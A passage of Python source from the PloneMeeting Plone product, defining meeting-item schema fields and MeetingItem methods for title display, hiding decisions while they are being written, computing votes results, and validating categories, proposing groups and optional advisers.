default_content_type=\"text/html\",\n read_permission=\"PloneMeeting: Read item observations\",\n searchable=True,\n allowable_content_types=('text/html',),\n default_output_type=\"text/x-html-safe\",\n optional=True,\n write_permission=WriteItemMeetingManagerFields,\n ),\n LinesField(\n name='templateUsingGroups',\n widget=MultiSelectionWidget(\n description=\"TemplateUsingGroups\",\n description_msgid=\"template_using_groups_descr\",\n condition=\"python: here.isDefinedInTool(item_type='itemtemplate')\",\n format=\"checkbox\",\n label='Templateusinggroups',\n label_msgid='PloneMeeting_label_templateUsingGroups',\n i18n_domain='PloneMeeting',\n ),\n enforceVocabulary=True,\n multiValued=1,\n vocabulary_factory='collective.contact.plonegroup.browser.settings.'\n 'SortedSelectedOrganizationsElephantVocabulary',\n ),\n StringField(\n name='meetingTransitionInsertingMe',\n widget=SelectionWidget(\n condition=\"python: here.isDefinedInTool(item_type='recurring')\",\n description=\"MeetingTransitionInsertingMe\",\n description_msgid=\"meeting_transition_inserting_me_descr\",\n label='Meetingtransitioninsertingme',\n label_msgid='PloneMeeting_label_meetingTransitionInsertingMe',\n i18n_domain='PloneMeeting',\n ),\n enforceVocabulary=True,\n vocabulary='listMeetingTransitions',\n ),\n TextField(\n name='itemAssembly',\n allowable_content_types=('text/plain',),\n widget=TextAreaWidget(\n condition=\"python: here.is_assembly_field_used('itemAssembly')\",\n description=\"ItemAssembly\",\n description_msgid=\"item_assembly_descr\",\n label_method=\"getLabelItemAssembly\",\n label='Itemassembly',\n label_msgid='PloneMeeting_label_itemAssembly',\n i18n_domain='PloneMeeting',\n visible=False,\n ),\n default_output_type=\"text/x-html-safe\",\n default_content_type=\"text/plain\",\n ),\n TextField(\n name='itemAssemblyExcused',\n allowable_content_types=('text/plain',),\n widget=TextAreaWidget(\n condition=\"python: here.is_assembly_field_used('itemAssemblyExcused')\",\n description=\"ItemAssemblyExcused\",\n description_msgid=\"item_assembly_excused_descr\",\n label='Itemassemblyexcused',\n label_msgid='PloneMeeting_label_itemAssemblyExcused',\n i18n_domain='PloneMeeting',\n visible=False,\n ),\n default_output_type=\"text/x-html-safe\",\n default_content_type=\"text/plain\",\n ),\n TextField(\n name='itemAssemblyAbsents',\n allowable_content_types=('text/plain',),\n widget=TextAreaWidget(\n condition=\"python: here.is_assembly_field_used('itemAssemblyAbsents')\",\n description=\"ItemAssemblyAbsents\",\n description_msgid=\"item_assembly_absents_descr\",\n label='Itemassemblyabsents',\n label_msgid='PloneMeeting_label_itemAssemblyAbsents',\n i18n_domain='PloneMeeting',\n visible=False,\n ),\n default_output_type=\"text/x-html-safe\",\n default_content_type=\"text/plain\",\n ),\n TextField(\n name='itemAssemblyGuests',\n allowable_content_types=('text/plain',),\n widget=TextAreaWidget(\n condition=\"python: here.is_assembly_field_used('itemAssemblyGuests')\",\n description=\"ItemAssemblyGuests\",\n description_msgid=\"item_assembly_guests_descr\",\n label='Itemassemblyguests',\n label_msgid='PloneMeeting_label_itemAssemblyGuests',\n i18n_domain='PloneMeeting',\n visible=False,\n ),\n default_output_type=\"text/x-html-safe\",\n default_content_type=\"text/plain\",\n ),\n TextField(\n name='itemSignatures',\n allowable_content_types=('text/plain',),\n widget=TextAreaWidget(\n condition=\"python: here.is_assembly_field_used('itemSignatures')\",\n description=\"ItemSignatures\",\n description_msgid=\"item_signatures_descr\",\n label='Itemsignatures',\n label_msgid='PloneMeeting_label_itemSignatures',\n i18n_domain='PloneMeeting',\n visible=False,\n ),\n default_output_type='text/plain',\n default_content_type='text/plain',\n ),\n LinesField(\n name='copyGroups',\n widget=MultiSelectionWidget(\n size=10,\n condition=\"python: here.attribute_is_used('copyGroups')\",\n description=\"CopyGroupsItems\",\n description_msgid=\"copy_groups_item_descr\",\n format=\"checkbox\",\n label='Copygroups',\n label_msgid='PloneMeeting_label_copyGroups',\n i18n_domain='PloneMeeting',\n ),\n optional=True,\n enforceVocabulary=True,\n multiValued=1,\n vocabulary_factory='Products.PloneMeeting.vocabularies.itemcopygroupsvocabulary',\n ),\n StringField(\n name='pollType',\n widget=SelectionWidget(\n condition=\"python: (here.attribute_is_used('pollType') or \"\n \"here.isVotesEnabled()) and here.adapted().mayChangePollType()\",\n label='Polltype',\n label_msgid='PloneMeeting_label_pollType',\n i18n_domain='PloneMeeting',\n ),\n optional=True,\n default_method=\"getDefaultPollType\",\n enforceVocabulary=True,\n vocabulary_factory='Products.PloneMeeting.vocabularies.polltypesvocabulary'\n ),\n TextField(\n name='pollTypeObservations',\n widget=RichWidget(\n label_msgid=\"PloneMeeting_label_pollTypeObservations\",\n condition=\"python: here.attribute_is_used('pollTypeObservations')\",\n description_msgid=\"descr_field_vieawable_by_everyone\",\n label='Polltypeobservations',\n i18n_domain='PloneMeeting',\n ),\n default_content_type=\"text/html\",\n searchable=True,\n allowable_content_types=('text/html',),\n default_output_type=\"text/x-html-safe\",\n optional=True,\n write_permission=WriteItemMeetingManagerFields,\n ),\n TextField(\n name='committeeObservations',\n allowable_content_types=('text/html',),\n widget=RichWidget(\n condition=\"python: here.attribute_is_used('committeeObservations')\",\n description_msgid=\"descr_field_editable_by_committee_editors\",\n label='Committeeobservations',\n label_msgid='PloneMeeting_label_committeeObservations',\n i18n_domain='PloneMeeting',\n ),\n default_content_type=\"text/html\",\n default_output_type=\"text/x-html-safe\",\n searchable=True,\n optional=True,\n write_permission=WriteCommitteeFields,\n ),\n TextField(\n name='committeeTranscript',\n allowable_content_types=('text/html',),\n widget=RichWidget(\n condition=\"python: here.attribute_is_used('committeeTranscript')\",\n description_msgid=\"descr_field_vieawable_by_committee_editors\",\n label='Committeetranscript',\n label_msgid='PloneMeeting_label_committeeTranscript',\n i18n_domain='PloneMeeting',\n ),\n default_content_type=\"text/html\",\n default_output_type=\"text/x-html-safe\",\n searchable=True,\n optional=True,\n write_permission=WriteCommitteeFields,\n ),\n TextField(\n name='votesObservations',\n widget=RichWidget(\n label_msgid=\"PloneMeeting_label_votesObservations\",\n condition=\"python: here.adapted().show_votesObservations()\",\n description_msgid=\"field_vieawable_by_everyone_once_item_decided_descr\",\n label='Votesobservations',\n i18n_domain='PloneMeeting',\n ),\n default_content_type=\"text/html\",\n searchable=True,\n allowable_content_types=('text/html',),\n default_output_type=\"text/x-html-safe\",\n optional=True,\n write_permission=WriteItemMeetingManagerFields,\n ),\n ReferenceField(\n name='manuallyLinkedItems',\n referencesSortable=True,\n default=[],\n widget=ReferenceBrowserWidget(\n description=\"ManuallyLinkedItems\",\n description_msgid=\"manually_linked_items_descr\",\n condition=\"python: here.attribute_is_used('manuallyLinkedItems') and \"\n \"not here.isDefinedInTool()\",\n allow_search=True,\n allow_browse=False,\n base_query=\"manuallyLinkedItemsBaseQuery\",\n show_results_without_query=False,\n allow_sorting=False,\n label='Manuallylinkeditems',\n label_msgid='PloneMeeting_label_manuallyLinkedItems',\n i18n_domain='PloneMeeting',\n ),\n optional=True,\n multiValued=True,\n relationship=\"ManuallyLinkedItem\",\n ),\n LinesField(\n name='otherMeetingConfigsClonableTo',\n widget=MultiSelectionWidget(\n condition=\"here/showClonableToOtherMCs\",\n format=\"checkbox\",\n label='Othermeetingconfigsclonableto',\n label_msgid='PloneMeeting_label_otherMeetingConfigsClonableTo',\n i18n_domain='PloneMeeting',\n ),\n enforceVocabulary=True,\n multiValued=1,\n vocabulary_factory='Products.PloneMeeting.vocabularies.other_mcs_clonable_to_vocabulary',\n ),\n LinesField(\n name='otherMeetingConfigsClonableToEmergency',\n widget=MultiSelectionWidget(\n condition=\"python: here.attribute_is_used('otherMeetingConfigsClonableToEmergency')\",\n format=\"checkbox\",\n label=\"Othermeetingconfigsclonabletoemergency\",\n label_msgid='PloneMeeting_label_otherMeetingConfigsClonableToEmergency',\n i18n_domain='PloneMeeting',\n ),\n optional=True,\n enforceVocabulary=True,\n multiValued=1,\n vocabulary_factory='Products.PloneMeeting.vocabularies.other_mcs_clonable_to_emergency_vocabulary',\n ),\n LinesField(\n name='otherMeetingConfigsClonableToPrivacy',\n widget=MultiSelectionWidget(\n condition=\"python: here.attribute_is_used('otherMeetingConfigsClonableToPrivacy')\",\n format=\"checkbox\",\n label=\"Othermeetingconfigsclonabletoprivacy\",\n label_msgid='PloneMeeting_label_otherMeetingConfigsClonableToPrivacy',\n i18n_domain='PloneMeeting',\n ),\n optional=True,\n enforceVocabulary=True,\n multiValued=1,\n vocabulary_factory='Products.PloneMeeting.vocabularies.other_mcs_clonable_to_privacy_vocabulary',\n ),\n StringField(\n name='otherMeetingConfigsClonableToFieldTitle',\n searchable=True,\n default='',\n widget=StringWidget(\n condition=\"python: here.attribute_is_used('otherMeetingConfigsClonableToFieldTitle')\",\n label_msgid=\"PloneMeeting_label_itemTitle\",\n label='OtherMeetingConfigsClonableToFieldTitle',\n i18n_domain='PloneMeeting',\n maxlength=750,\n ),\n optional=True,\n ),\n TextField(\n name='otherMeetingConfigsClonableToFieldDescription',\n widget=RichWidget(\n condition=\"python: here.attribute_is_used('otherMeetingConfigsClonableToFieldDescription')\",\n label_msgid=\"PloneMeeting_label_itemDescription\",\n label='Description',\n i18n_domain='PloneMeeting',\n ),\n default_content_type=\"text/html\",\n searchable=True,\n allowable_content_types=('text/html',),\n default_output_type=\"text/x-html-safe\",\n optional=True,\n ),\n TextField(\n name='otherMeetingConfigsClonableToFieldDetailedDescription',\n widget=RichWidget(\n condition=\"python: here.attribute_is_used('otherMeetingConfigsClonableToFieldDetailedDescription')\",\n label_msgid=\"PloneMeeting_label_detailedDescription\",\n label='Detaileddescription',\n i18n_domain='PloneMeeting',\n ),\n default_content_type=\"text/html\",\n searchable=True,\n allowable_content_types=('text/html',),\n default_output_type=\"text/x-html-safe\",\n optional=True,\n ),\n TextField(\n name='otherMeetingConfigsClonableToFieldMotivation',\n widget=RichWidget(\n condition=\"python: here.attribute_is_used('otherMeetingConfigsClonableToFieldMotivation')\",\n label='OtherMeetingConfigsClonableToFieldMotivation',\n label_msgid='PloneMeeting_label_motivation',\n i18n_domain='PloneMeeting',\n ),\n default_content_type=\"text/html\",\n read_permission=\"PloneMeeting: Read decision\",\n searchable=True,\n allowable_content_types=('text/html',),\n default_output_type=\"text/x-html-safe\",\n optional=True,\n write_permission=WriteDecision,\n ),\n TextField(\n name='otherMeetingConfigsClonableToFieldDecision',\n widget=RichWidget(\n condition=\"python: here.attribute_is_used('otherMeetingConfigsClonableToFieldDecision')\",\n label='OtherMeetingConfigsClonableToFieldDecision',\n label_msgid='PloneMeeting_label_decision',\n i18n_domain='PloneMeeting',\n ),\n default_content_type=\"text/html\",\n read_permission=\"PloneMeeting: Read decision\",\n searchable=True,\n allowable_content_types=('text/html',),\n default_output_type=\"text/x-html-safe\",\n optional=True,\n write_permission=WriteDecision,\n ),\n TextField(\n name='otherMeetingConfigsClonableToFieldDecisionSuite',\n widget=RichWidget(\n condition=\"python: here.attribute_is_used('otherMeetingConfigsClonableToFieldDecisionSuite')\",\n label='OtherMeetingConfigsClonableToFieldDecisionSuite',\n label_msgid='PloneMeeting_label_decisionSuite',\n i18n_domain='PloneMeeting',\n ),\n default_content_type=\"text/html\",\n read_permission=\"PloneMeeting: Read decision\",\n searchable=True,\n allowable_content_types=('text/html',),\n default_output_type=\"text/x-html-safe\",\n optional=True,\n write_permission=WriteDecision,\n ),\n TextField(\n name='otherMeetingConfigsClonableToFieldDecisionEnd',\n widget=RichWidget(\n condition=\"python: here.attribute_is_used('otherMeetingConfigsClonableToFieldDecisionEnd')\",\n label='OtherMeetingConfigsClonableToFieldDecisionEnd',\n label_msgid='PloneMeeting_label_decisionEnd',\n i18n_domain='PloneMeeting',\n ),\n default_content_type=\"text/html\",\n read_permission=\"PloneMeeting: Read decision\",\n searchable=True,\n allowable_content_types=('text/html',),\n default_output_type=\"text/x-html-safe\",\n optional=True,\n write_permission=WriteDecision,\n ),\n BooleanField(\n name='isAcceptableOutOfMeeting',\n default=False,\n widget=BooleanField._properties['widget'](\n condition=\"python: here.showIsAcceptableOutOfMeeting()\",\n description=\"IsAcceptableOutOfMeeting\",\n description_msgid=\"is_acceptable_out_of_meeting_descr\",\n label='Isacceptableoutofmeeting',\n label_msgid='PloneMeeting_label_isAcceptableOutOfMeeting',\n i18n_domain='PloneMeeting',\n ),\n ),\n BooleanField(\n name='sendToAuthority',\n default=False,\n widget=BooleanField._properties['widget'](\n condition=\"python: here.attribute_is_used('sendToAuthority')\",\n description=\"SendToAuthority\",\n description_msgid=\"send_to_authority_descr\",\n label='Sendtoauthority',\n label_msgid='PloneMeeting_label_sendToAuthority',\n i18n_domain='PloneMeeting',\n ),\n optional=True,\n ),\n StringField(\n name='privacy',\n default='public',\n widget=SelectionWidget(\n condition=\"python: here.attribute_is_used('privacy')\",\n label='Privacy',\n label_msgid='PloneMeeting_label_privacy',\n i18n_domain='PloneMeeting',\n ),\n optional=True,\n vocabulary_factory='Products.PloneMeeting.vocabularies.privaciesvocabulary'\n\n ),\n StringField(\n name='completeness',\n default='completeness_not_yet_evaluated',\n widget=SelectionWidget(\n condition=\"python: here.attribute_is_used('completeness') and \"\n \"(here.adapted().mayEvaluateCompleteness() or here.adapted().mayAskCompletenessEvalAgain())\",\n description=\"Completeness\",\n description_msgid=\"item_completeness_descr\",\n visible=False,\n label='Completeness',\n label_msgid='PloneMeeting_label_completeness',\n i18n_domain='PloneMeeting',\n ),\n optional=True,\n vocabulary='listCompleteness',\n ),\n BooleanField(\n name='itemIsSigned',\n default=False,\n widget=BooleanField._properties['widget'](\n condition=\"python: here.showItemIsSigned()\",\n label='Itemissigned',\n label_msgid='PloneMeeting_label_itemIsSigned',\n i18n_domain='PloneMeeting',\n ),\n optional=True,\n ),\n StringField(\n name='takenOverBy',\n widget=StringField._properties['widget'](\n condition=\"python: here.attribute_is_used('takenOverBy')\",\n label='Takenoverby',\n label_msgid='PloneMeeting_label_takenOverBy',\n i18n_domain='PloneMeeting',\n ),\n optional=True,\n ),\n TextField(\n name='textCheckList',\n allowable_content_types=('text/plain',),\n widget=TextAreaWidget(\n condition=\"python: here.showMeetingManagerReservedField('textCheckList')\",\n description=\"Enter elements that are necessary for this kind of item\",\n description_msgid=\"text_check_list_descr\",\n label='TextCheckList',\n label_msgid='PloneMeeting_label_textCheckList',\n i18n_domain='PloneMeeting',\n ),\n optional=True,\n write_permission=WriteItemMeetingManagerFields,\n default_output_type=\"text/x-html-safe\",\n default_content_type=\"text/plain\",\n ),\n\n),\n)\n\nMeetingItem_schema = OrderedBaseFolderSchema.copy() + \\\n schema.copy()\n\n# Make title longer\nMeetingItem_schema['title'].widget.maxlength = '750'\n# Define a specific msgid for title\nMeetingItem_schema['title'].widget.i18n_domain = 'PloneMeeting'\nMeetingItem_schema['title'].widget.label_msgid = 'PloneMeeting_label_itemTitle'\n\n\nclass MeetingItem(OrderedBaseFolder, BrowserDefaultMixin):\n \"\"\"\n \"\"\"\n security = ClassSecurityInfo()\n implements(IMeetingItem)\n\n meta_type = 'MeetingItem'\n _at_rename_after_creation = True\n\n schema = MeetingItem_schema\n\n security.declarePublic('title_or_id')\n\n def title_or_id(self, withTypeName=True):\n '''Implemented the deprecated method 'title_or_id' because it is used by\n archetypes.referencebrowserwidget in the popup. We also override the\n view to use it in the widget in edit mode. This way, we can display\n more informations than just the title.'''\n if withTypeName:\n return \"{0} - {1}\".format(translate(self.portal_type,\n domain=\"plone\",\n context=self.REQUEST).encode('utf-8'),\n self.Title(withMeetingDate=True))\n return self.Title(withMeetingDate=True)\n\n def Title(self, withMeetingDate=False, **kwargs):\n title = self.getField('title').get(self, **kwargs)\n if withMeetingDate:\n meeting = self.getMeeting()\n # XXX check on datetime to be removed after Meeting migration to DX\n if meeting and isinstance(meeting.date, datetime):\n tool = api.portal.get_tool('portal_plonemeeting')\n return \"{0} ({1})\".format(\n title, tool.format_date(meeting.date, with_hour=True).encode('utf-8'))\n return title\n\n security.declarePublic('getPrettyLink')\n\n def getPrettyLink(self, **kwargs):\n \"\"\"Return the IPrettyLink version of the title.\"\"\"\n adapted = IPrettyLink(self)\n adapted.target = '_parent'\n adapted.showContentIcon = kwargs.get('showContentIcon', True)\n for k, v in kwargs.items():\n setattr(adapted, k, v)\n if not self.adapted().isPrivacyViewable():\n adapted.isViewable = False\n return adapted.getLink()\n\n def _mayNotViewDecisionMsg(self):\n \"\"\"Return a message specifying that current user may not view decision.\n Decision is hidden when using 'hide_decisions_when_under_writing' WFAdaptation\n when meeting is 'decided' and user may not edit the item.\"\"\"\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n adaptations = cfg.getWorkflowAdaptations()\n # manage case of accepted item that is no more editable by MeetingManagers\n # but the meeting in this case is still editable\n meeting = self.getMeeting()\n if meeting and 'hide_decisions_when_under_writing' in adaptations and \\\n meeting.query_state() == 'decided' and \\\n not (_checkPermission(ModifyPortalContent, self) or\n _checkPermission(ModifyPortalContent, meeting)):\n # do not return unicode as getDecision returns 'utf-8' usually\n return translate('decision_under_edit',\n domain='PloneMeeting',\n context=self.REQUEST,\n default=HIDE_DECISION_UNDER_WRITING_MSG).encode('utf-8')\n\n security.declarePublic('getMotivation')\n\n def getMotivation(self, **kwargs):\n '''Override 'motivation' field accessor. It allows to manage\n the 'hide_decisions_when_under_writing' workflowAdaptation that\n hides the motivation/decision for non-managers if meeting state is 'decided.'''\n # hide the decision?\n msg = self._mayNotViewDecisionMsg()\n return msg or self.getField('motivation').get(self, **kwargs)\n\n security.declarePublic('getRawMotivation')\n\n def getRawMotivation(self, **kwargs):\n '''See self.getMotivation docstring.'''\n # hide the decision?\n msg = self._mayNotViewDecisionMsg()\n return msg or self.getField('motivation').getRaw(self, **kwargs)\n\n security.declarePublic('getDecision')\n\n def getDecision(self, **kwargs):\n '''Override 'decision' field accessor.\n Manage the 'hide_decisions_when_under_writing' workflowAdaptation that\n hides the decision for non-managers if meeting state is 'decided.'''\n # hide the decision?\n msg = self._mayNotViewDecisionMsg()\n return msg or self.getField('decision').get(self, **kwargs)\n\n security.declarePublic('getRawDecision')\n\n def getRawDecision(self, **kwargs):\n '''See self.getDecision docstring.'''\n # hide the decision?\n msg = self._mayNotViewDecisionMsg()\n return msg or self.getField('decision').getRaw(self, **kwargs)\n\n def _get_votes_result_cachekey(method, self, check_is_html=True):\n '''cachekey method for self._get_votes_result.'''\n return repr(self), self.modified(), check_is_html\n\n @ram.cache(_get_votes_result_cachekey)\n def _get_votes_result(self, check_is_html=True):\n \"\"\"Compute votesResult using MeetingConfig.votesResultTALExpr.\n When p_check_is_html=True result is checked and if it is not HTML\n a portal_message is displayed to the user.\"\"\"\n extra_expr_ctx = _base_extra_expr_ctx(self)\n # quick bypass when not used or if item not in a meeting\n expr = extra_expr_ctx['cfg'].getVotesResultTALExpr().strip()\n if not expr or not self.hasMeeting():\n return ''\n\n extra_expr_ctx.update({'item': self, 'meeting': self.getMeeting()})\n # default raise_on_error=False so if the expression\n # raise an error, we will get '' for reference and a message in the log\n res = _evaluateExpression(self,\n expression=expr,\n roles_bypassing_expression=[],\n extra_expr_ctx=extra_expr_ctx,\n empty_expr_is_true=False)\n # make sure we do not have None\n res = res or ''\n # make sure result is HTML\n if res and check_is_html and not is_html(res):\n api.portal.show_message(\n _('votes_result_not_html'), request=self.REQUEST, type='warning')\n res = ''\n return safe_encode(res)\n\n security.declarePublic('getVotesResult')\n\n def getVotesResult(self, real=False, **kwargs):\n '''Override 'votesResult' field accessor.\n If empty we will return the evaluated MeetingConfig.votesResultExpr.'''\n res = self.getField('votesResult').get(self, **kwargs)\n if not real and not res:\n res = self._get_votes_result(**kwargs)\n return res\n\n security.declarePublic('getRawVotesResult')\n\n def getRawVotesResult(self, real=False, **kwargs):\n '''See getVotesResult docstring.'''\n res = self.getField('votesResult').getRaw(self, **kwargs)\n if not real and not res:\n res = self._get_votes_result(**kwargs)\n return res\n\n security.declarePrivate('validate_category')\n\n def validate_category(self, value):\n '''Checks that, if we use categories, a category is specified.\n The category will not be validated when editing an item template.'''\n\n # bypass for itemtemplates\n if self.isDefinedInTool(item_type='itemtemplate'):\n return\n\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n # check if value is among categories defined in the MeetingConfig\n if self.attribute_is_used('category') and \\\n value not in cfg.categories.objectIds():\n return translate('category_required', domain='PloneMeeting', context=self.REQUEST)\n\n security.declarePrivate('validate_committees')\n\n def validate_committees(self, values):\n '''Checks that the NO_COMMITTEE is the only value when selected.'''\n # remove empty strings and Nones\n values = [v for v in values if v]\n if NO_COMMITTEE in values and len(values) > 1:\n return translate('can_not_select_no_committee_and_committee',\n domain='PloneMeeting',\n context=self.REQUEST)\n\n security.declarePrivate('validate_classifier')\n\n def validate_classifier(self, value):\n '''Checks that, if we use classifiers, a classifier is specified.\n The classifier will not be validated when editing an item template.'''\n\n # bypass for itemtemplates\n if self.isDefinedInTool(item_type='itemtemplate'):\n return\n\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n # check if value is among classifiers defined in the MeetingConfig\n if (self.attribute_is_used('classifier')) and value not in cfg.classifiers.objectIds():\n return translate('classifier_required', domain='PloneMeeting', context=self.REQUEST)\n\n security.declarePrivate('validate_groupsInCharge')\n\n def validate_groupsInCharge(self, value):\n '''Checks that, if we use the \"groupsInCharge\", a group in charge is specified,\n except when editing an item template.'''\n\n # bypass for itemtemplates\n if self.isDefinedInTool(item_type='itemtemplate'):\n return\n\n # remove empty strings and Nones\n value = [v for v in value if v]\n\n # check if field is enabled in the MeetingConfig\n if self.attribute_is_used('groupsInCharge') and not value:\n return translate('groupsInCharge_required', domain='PloneMeeting', context=self.REQUEST)\n\n security.declarePrivate('validate_itemAssembly')\n\n def validate_itemAssembly(self, value):\n '''Validate the itemAssembly field.'''\n if not validate_item_assembly_value(value):\n return translate('Please check that opening \"[[\" have corresponding closing \"]]\".',\n domain='PloneMeeting',\n context=self.REQUEST)\n\n security.declarePrivate('validate_pollType')\n\n def validate_pollType(self, value):\n '''Validate the pollType field.'''\n old_pollType = self.getPollType()\n if old_pollType != value:\n view = self.restrictedTraverse(\"@@change-item-polltype\")\n # validation_msg is None if it passed, True otherwise\n return view.validate_new_poll_type(old_pollType, value)\n\n security.declarePrivate('validate_proposingGroup')\n\n def validate_proposingGroup(self, value):\n '''proposingGroup is mandatory if used, except for an itemtemplate.'''\n # bypass for itemtemplates\n if self.isDefinedInTool(item_type='itemtemplate'):\n return\n\n if not value and not self.attribute_is_used('proposingGroupWithGroupInCharge'):\n return translate('proposing_group_required',\n domain='PloneMeeting',\n context=self.REQUEST)\n\n # while created thru plonemeeting.restapi for example, make sure\n # current user is member of proposingGroup\n\n if value and \\\n self.checkCreationFlag():\n tool = api.portal.get_tool('portal_plonemeeting')\n if value not in tool.get_orgs_for_user(\n only_selected=False, suffixes=[\"creators\"]):\n if not tool.isManager(realManagers=True):\n return translate(\n 'proposing_group_not_available',\n domain='PloneMeeting',\n context=self.REQUEST)\n\n security.declarePrivate('validate_proposingGroupWithGroupInCharge')\n\n def validate_proposingGroupWithGroupInCharge(self, value):\n '''proposingGroupWithGroupInCharge is mandatory if used, except for an itemtemplate.'''\n # bypass for itemtemplates\n if self.isDefinedInTool(item_type='itemtemplate'):\n return\n\n # make sure we have a proposingGroup and a groupInCharge in case configuration is not correct\n # we would have \"Proposing group ()\"\n if self.attribute_is_used('proposingGroupWithGroupInCharge'):\n proposingGroupUid = groupInChargeUid = ''\n if value:\n proposingGroupUid, groupInChargeUid = value.split('__groupincharge__')\n if not proposingGroupUid or not groupInChargeUid:\n return translate('proposing_group_with_group_in_charge_required',\n domain='PloneMeeting',\n context=self.REQUEST)\n\n security.declarePrivate('validate_optionalAdvisers')\n\n def validate_optionalAdvisers(self, values):\n '''When selecting an optional adviser, make sure that 2 values regarding the same\n group are not selected, this could be the case when using delay-aware advisers.\n Moreover, make sure we can not unselect an adviser that already gave his advice.'''\n # remove empty strings and Nones\n values = [v for v in values if v]\n\n # check that advice was not asked twice for same adviser\n # it can be a delay-aware advice and a simple advice\n # or 2 delay-aware advices for same group\n real_adviser_values = []\n adviser_userid_values = []\n adviser_rowid_userid_values = []\n real_adviser_userid_values = []\n for adviser in values:\n if '__userid__' not in adviser:\n if '__rowid__' in adviser:\n real_adviser_values.append(decodeDelayAwareId(adviser)[0])\n else:\n real_adviser_values.append(adviser)\n else:\n # '__userid__'\n if '__rowid__' in adviser:\n adviser_rowid_userid_values.append(decodeDelayAwareId(adviser)[0])\n real_adviser_userid_values.append(decodeDelayAwareId(adviser)[0])\n else:\n adviser_userid_values.append(adviser.split('__userid__')[0])\n real_adviser_userid_values.append(adviser.split('__userid__')[0])\n\n if len(set(real_adviser_values)) != len(real_adviser_values):\n return translate('can_not_select_several_optional_advisers_same_group',\n domain='PloneMeeting',\n context=self.REQUEST)\n # a value in real_adviser_values may not be in real_adviser_userid_values\n # that would mean for example a delay-aware adviser selected\n # and a userid for same not delay-aware advice\n # or more current, an adviers group and some userids of same group\n # we must either select group or user\n if set(real_adviser_values).intersection(real_adviser_userid_values):\n return translate('can_not_select_advisers_group_and_userids',\n domain='PloneMeeting',\n context=self.REQUEST)\n\n # check also that a userid is not selected for a rowid advice\n # and another userid for the corresponding non rowid advice\n if set(adviser_rowid_userid_values).intersection(adviser_userid_values):\n return translate('can_not_select_userids_for_same_advice_of_different_type',\n domain='PloneMeeting',\n context=self.REQUEST)\n\n # when advices are inherited, we can not ask another one for same adviser\n for adviser in values:\n rowid = ''\n if '__rowid__' in adviser:\n adviser_real_uid, rowid = decodeDelayAwareId(adviser)\n elif '__userid__' in adviser:\n adviser_real_uid, userid = adviser.split('__userid__')\n else:\n adviser_real_uid = adviser\n if adviser_real_uid in getattr(self, 'adviceIndex', {}) and \\\n self.adviceIndex[adviser_real_uid]['inherited']:\n # use getAdviceDataFor because we do not have every correct values\n # stored for an inherited advice, especially 'not_asked'\n adviceInfo = self.getAdviceDataFor(self, adviser_real_uid)\n if rowid != adviceInfo['row_id'] or adviceInfo['not_asked']:\n return translate('can_not_select_optional_adviser_same_group_as_inherited',\n domain='PloneMeeting',\n context=self.REQUEST)\n\n # find unselected advices and check if it was not already given\n storedOptionalAdvisers = self.getOptionalAdvisers()\n removedAdvisers = set(storedOptionalAdvisers).difference(set(values))\n if removedAdvisers:\n givenAdvices = self.getGivenAdvices()\n for removedAdviser in removedAdvisers:\n orig_removedAdviser = removedAdviser\n if '__rowid__' in removedAdviser:\n removedAdviser, rowid = decodeDelayAwareId(removedAdviser)\n elif '__userid__' in removedAdviser:\n removedAdviser, userid = removedAdviser.split('__userid__')\n if removedAdviser in givenAdvices and \\\n givenAdvices[removedAdviser]['optional'] is True:\n vocab = get_vocab(self, self.getField('optionalAdvisers').vocabulary_factory)\n # use term.sortable_title that contains the adviser title\n # when removing an advice asked to a userid\n return translate(\n 'can_not_unselect_already_given_advice',\n mapping={\n 'removedAdviser':\n vocab.getTermByToken(orig_removedAdviser).sortable_title},\n domain='PloneMeeting',\n context=self.REQUEST)\n return self.adapted().custom_validate_optionalAdvisers(\n values, storedOptionalAdvisers, removedAdvisers)\n\n def custom_validate_optionalAdvisers(self, value, storedOptionalAdvisers, removedAdvisers):\n '''See doc in interfaces.py.'''\n pass\n\n security.declarePublic('manuallyLinkedItemsBaseQuery')\n\n def manuallyLinkedItemsBaseQuery(self):\n '''base_query for the 'manuallyLinkedItems' field.\n Here, we restrict the widget to search only MeetingItems.'''\n tool = api.portal.get_tool('portal_plonemeeting')\n allowed_types = []\n for cfg in tool.getActiveConfigs():\n allowed_types.append(cfg.getItemTypeName())\n query = {}\n query['portal_type'] = allowed_types\n query['sort_on'] = \"modified\"\n query['sort_order'] = \"reverse\"\n return query\n\n security.declarePublic('getDefaultBudgetInfo')\n\n def getDefaultBudgetInfo(self):\n '''The default budget info is to be found in the config.'''\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n return cfg.getBudgetDefault()\n\n security.declarePublic('showObservations')\n\n def showObservations(self):\n '''See doc in interfaces.py.'''\n item = self.getSelf()\n return item.attribute_is_used('observations')\n\n security.declarePublic('show_budget_infos')\n\n def show_budget_infos(self):\n '''Condition for showing budgetRelated/budgetInfos fields.'''\n # using field, viewable/editable\n if self.attribute_is_used(\"budgetInfos\") and \\\n api.user.get_current().has_permission('PloneMeeting: Read budget infos', self):\n return True\n\n security.declarePublic('show_groups_in_charge')\n\n def show_groups_in_charge(self):\n '''When field 'groupsInCharge' is used, it is editable.\n When using MeetingConfig.includeGroupsInChargeDefinedOnProposingGroup\n or MeetingConfig.includeGroupsInChargeDefinedOnCategory\n then it is editable by MeetingManagers.'''\n # using field, viewable/editable\n if self.attribute_is_used(\"groupsInCharge\"):\n return True\n\n res = False\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n _is_editing = is_editing(cfg)\n raw_groups_in_charge = self.getRawGroupsInCharge()\n # viewable if not empty\n if not _is_editing and raw_groups_in_charge:\n res = True\n # editable when not empty and user is MeetingManager\n # this may result from various functionnality like \"MeetingConfig.include...\"\n # except when using \"proposingGroupWithGroupInCharge\"\n elif not self.attribute_is_used(\"proposingGroupWithGroupInCharge\") and \\\n _is_editing and \\\n raw_groups_in_charge and \\\n tool.isManager(cfg):\n res = True\n return res\n\n security.declarePublic('show_committees')\n\n def show_committees(self):\n '''When field 'committees' is used, show it to editors if\n not using \"auto_from\" or if user is a MeetingManager.'''\n res = False\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n raw_committees = getattr(self, 'committees', ())\n # take care that committees is activated in MeetingConfig.usedMeetingAttributes\n if \"committees\" in cfg.getUsedMeetingAttributes() or raw_committees:\n res = True\n 